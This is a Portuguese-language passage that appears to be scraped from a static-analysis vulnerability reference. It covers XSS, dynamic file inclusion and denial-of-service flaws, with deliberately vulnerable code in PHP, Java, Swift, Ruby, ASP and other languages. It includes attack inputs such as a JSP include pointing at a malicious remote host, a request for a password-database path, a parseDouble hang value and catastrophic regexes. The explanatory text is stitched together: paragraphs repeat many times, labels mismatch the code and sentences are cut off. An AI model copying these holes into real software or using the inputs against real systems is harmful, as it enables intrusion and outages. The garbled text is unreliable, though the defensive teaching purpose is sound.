NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]
...
Example 1, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos diretamente de um URL de esquema personalizado e refletidos de volta no conteúdo de uma resposta UIWebView. Os ataques de XSS refletido ocorrem quando um invasor faz com que um usuário forneça conteúdo perigoso a um aplicativo iOS vulnerável, o que é então refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a propagação de conteúdo malicioso é incluí-lo como um parâmetro em um URL de esquema personalizado veiculada publicamente ou diretamente por email para as vítimas. As URLs criadas dessa forma constituem o núcleo de muitos esquemas de phishing, em que um invasor convence as vítimas a visitar uma URL que se refere a um aplicativo vulnerável. Depois que o aplicativo reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.eid, de uma solicitação HTTP e a exibe para o usuário.
<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>
eid contiver apenas texto alfanumérico padrão. Se eid tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web quando ele exibir a resposta HTTP.
<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>
Example 1, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos diretamente na solicitação HTTP e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.eid, a partir de uma solicitação HTTP e a exibe ao usuário.
...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || eid || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
eid contiver apenas texto alfanumérico padrão. Se eid tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web quando ele exibir a resposta HTTP.
...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || name || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
Example 1, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos diretamente na solicitação HTTP e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.eid, a partir de uma solicitação HTTP e a exibe ao usuário.
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)
eid contiver apenas texto alfanumérico padrão. Se eid tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web quando ele exibir a resposta HTTP.
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...
Example 1, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos diretamente na solicitação HTTP e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.eid, a partir de uma solicitação HTTP e a exibe ao usuário.
eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end
eid contiver apenas texto alfanumérico padrão. Se eid tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web quando ele exibir a resposta HTTP.Rack::Request#params() como no Example 1, ele verá os parâmetros GET e POST, então você pode estar vulnerável a vários tipos de outros ataques, e não apenas ter o código malicioso anexado à URL.
...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...
Example 1, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos diretamente na solicitação HTTP e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.eid, de uma solicitação HTTP e a exibe para o usuário.
def getEmployee = Action { implicit request =>
val eid = request.getQueryString("eid")
val employee = getEmployee(eid)
if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}
eid contiver apenas texto alfanumérico padrão. Se eid tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web quando ele exibir a resposta HTTP.
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField contiver apenas um texto alfanumérico padrão. Se o texto no inputTextField incluir metacaracteres ou código-fonte, a entrada poderá ser executada como código pelo navegador da Web conforme exibe a resposta HTTP.myapp://input_to_the_application). Os dados não confiáveis na URL são então utilizados para renderizar a saída HTML em um componente WebView.
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
Example 2, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos diretamente de um componente de IU controlado pelo usuário e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, uma fonte fora do aplicativo de destino faz uma solicitação de URL usando o esquema de URL personalizado do aplicativo de destino, e os dados não validados a partir da solicitação de URL subsequentemente são lidos pelo aplicativo como dados confiáveis e incluídos no conteúdo dinâmico.Example 3, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.eid, de uma solicitação HTTP e o exibe para o usuário.
...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..
eid contiver apenas texto alfanumérico padrão. Se eid tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web quando ele exibir a resposta HTTP.
...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...
Example 1, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos diretamente na solicitação HTTP e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.Origin, ele permitirá que qualquer site mal-intencionado represente o usuário e estabeleça uma conexão WebSocket bidirecional sem o usuário sequer perceber.Origin, ele permitirá que qualquer site mal-intencionado represente o usuário e estabeleça uma conexão WebSocket bidirecional sem o usuário sequer perceber.
...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1, um invasor pode obter controle total sobre a instrução include dinâmica, fornecendo um valor mal-intencionado para includedURL, que faz com que o programa inclua um arquivo de um site externo.web.config, o arquivo pode ser renderizado como parte da saída HTML. Pior ainda, se o invasor puder especificar um caminho para um local remoto controlado por ele, a instrução de inclusão dinâmica executará o código mal-intencionado arbitrário fornecido por esse invasor.
...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...
specialpage.jsp?template=/WEB-INF/database/passwordDB
/WEB-INF/database/passwordDB para a página JSP, comprometendo assim a segurança do sistema.c:import para importar um arquivo remoto especificado pelo usuário para a página JSP atual.
...
<c:import url="<%= request.getParameter("privacy")%>">
...
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
register_globals habilitada por padrão, que permite aos invasores substituir facilmente as variáveis de servidor interno. Embora desabilitar register_globals possa limitar a exposição de um programa às vulnerabilidades de inclusão de arquivo, esses problemas ainda ocorrem em aplicativos PHP modernos.$server_root definida por aplicativo em um modelo.
...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globals estiver definida como on, um invasor poderá substituir o valor $server_root fornecendo $server_root como parâmetro de solicitação, o que o dá controle parcial da instrução include dinâmica.
...
<?php include($_GET['headername']); ?$gt;
...
Example 2, um invasor pode obter controle total sobre a instrução include dinâmica, fornecendo um valor mal-intencionado para headername, que faz com que o programa inclua um arquivo de um site externo./etc/shadow, o arquivo pode ser renderizado como parte da saída HTML. Pior ainda, se o invasor puder especificar um caminho para um local remoto controlado por ele, a instrução de inclusão dinâmica executará o código mal-intencionado arbitrário fornecido por esse invasor.
...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
GetTokenBucketLimiter() usa um endereço IP remoto (RemoteIpAddress) como chave de partição ao criar uma RateLimitPartition:
...
builder.Services.AddRateLimiter(limiterOptions => {
limiterOptions.GlobalLimiter = PartitionedRateLimiter.Create<HttpContext, IPAddress>(context => {
IPAddress? ip = context.Connection.RemoteIpAddress;
return RateLimitPartition.GetTokenBucketLimiter(ip!, _ =>
new TokenBucketRateLimiterOptions
{
TokenLimit = 7
});
});
});
...
unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
Sleep(url.duration);
Future será executada. Especificando um número grande, um invasor pode bloquear a função Future indefinidamente.
final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
func test(r *http.Request) {
...
i, _ := strconv.Atoi(r.FormValue("TIME"))
runtime.KeepAlive(i)
...
}
Exemplo 2: O código a seguir lê uma String de um arquivo zip. Por usar o método
int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
readLine(), ele levará uma quantidade ilimitada de entradas. Um invasor pode tirar proveito desse código para causar uma OutOfMemoryException ou consumir uma grande quantidade de memória para que o programa perca mais tempo realizando a coleta de lixo ou fique sem memória durante uma operação subsequente.
InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
Exemplo 2: Este código grava em um arquivo. Uma vez que o arquivo pode ser continuamente escrito e reescrito até ser considerado fechado pelo agente do usuário, a cota de disco, a largura de banda E/S e os processos que podem exigir a análise do conteúdo do arquivo são afetados.
var fsync = requestFileSystemSync(0, userInput);
function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}
window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
connect. Especificando um número grande, um invasor pode bloquear a função connect indefinidamente.
...
insecure_config_ssl_connection_timeout = {
'user': username,
'password': retrievedPassword,
'host': databaseHost,
'port': "3306",
'connection_timeout': connection_timeout
}
mysql.connector.connect(**insecure_config_ssl_connection_timeout)
...
Exemplo 2: Este código lê uma cadeia a partir de um arquivo. Uma vez que ele utiliza o método
Kernel.sleep(user_input)
readline() sem especificar um limite, ele lerá uma quantidade ilimitada de entradas. Um invasor pode aproveitar esse código para fazer com que o processo pause enquanto consome mais e mais memória, até que possivelmente a memória se esgote.
fd = File.new(myFile)
line = fd.readline
Formatter.format().
...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...
java.util.MissingFormatArgumentException, e, por não estar dentro de um bloco "try", essa exceção pode provocar falhas no aplicativo. accountNo fossem incluídas na string resultante.java.lang.Double.parseDouble() e métodos relacionados que pode provocar o travamento do thread durante a avaliação de qualquer número no intervalo [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)]. Esse defeito pode ser usado para executar um ataque de Negação de Serviço (DoS).
Double d = Double.parseDouble(request.getParameter("d"));
d é um valor no intervalo, como "0.0222507385850720119e-00306", para fazer com que o programa trave ao processar a solicitação.
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
NSString *regex = @"^(e+)+$";
NSPredicate *pred = [NSPRedicate predicateWithFormat:@"SELF MATCHES %@", regex];
if ([pred evaluateWithObject:mystring]) {
//do something
}
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
let regex : String = "^(e+)+$"
let pred : NSPredicate = NSPRedicate(format:"SELF MATCHES \(regex)")
if (pred.evaluateWithObject(mystring)) {
//do something
}
Example 1, se o invasor fornecer a cadeia de correspondência "eeeZ", o analisador regex deverá verificar 16 avaliações internas para identificar uma correspondência. Se o invasor fornecer 16 "e"s ("eeeeeeeeeeeeeeeeZ") como a cadeia de correspondência, o analisador regex deverá verificar 65536 (2^16) avaliações. O invasor pode consumir recursos de computação facilmente por meio do aumento do número de caracteres de correspondência consecutivos. Não existem implementações conhecidas de expressões regulares que sejam imunes a essa vulnerabilidade. Todas as plataformas e linguagens são vulneráveis a esse ataque.
Marker child = MarkerManager.getMarker("child");
Marker parent = MarkerManager.getMarker("parent");
child.addParents(MarkerManager.getMarker(userInput));
parent.addParents(MarkerManager.getMarker(userInput2));
String toInfinity = child.toString();
child e parent para um marcador definido pelo usuário. Se o usuário inserir o pai de child como parent e o pai de parent como child, um link circular será criado na estrutura de dados Marker. Ao executar o método recursivo toString na estrutura de dados que contém o link circular, o programa lançará uma exceção de estouro de pilha e travará. Isso causa uma negação de serviço por meio do esgotamento da pilha.StringBuilder ou do StringBuffer inicializada com o tamanho padrão da matriz de apoio pode fazer com que a JVM consuma excessivamente o espaço de memória heap.StringBuilder ou do StringBuffer inicializada com o tamanho padrão da matriz de caracteres de apoio (16) pode fazer com que o aplicativo consuma grandes quantidades de memória heap ao redimensionar a matriz subjacente para ajustar os dados de usuário. Quando dados são anexados a uma instância de um StringBuilder ou de um StringBuffer, a instância determinará se a matriz de caracteres de apoio tem espaço suficiente para armazenar os dados. Se os dados não forem ajustados, uma nova instância do StringBuilder ou do StringBuffer irá criar outra matriz com pelo menos o dobro do tamanho da matriz anterior e a matriz antiga permanecerá no heap até que seja coletada como lixo. Os invasores podem usar esse detalhe da implementação para executar um ataque de Negação de Serviço (Denial of Service – DoS).StringBuilder inicializada com o construtor padrão.
...
StringBuilder sb = new StringBuilder();
final String lineSeparator = System.lineSeparator();
String[] labels = request.getParameterValues("label");
for (String label : labels) {
sb.append(label).append(lineSeparator);
}
...
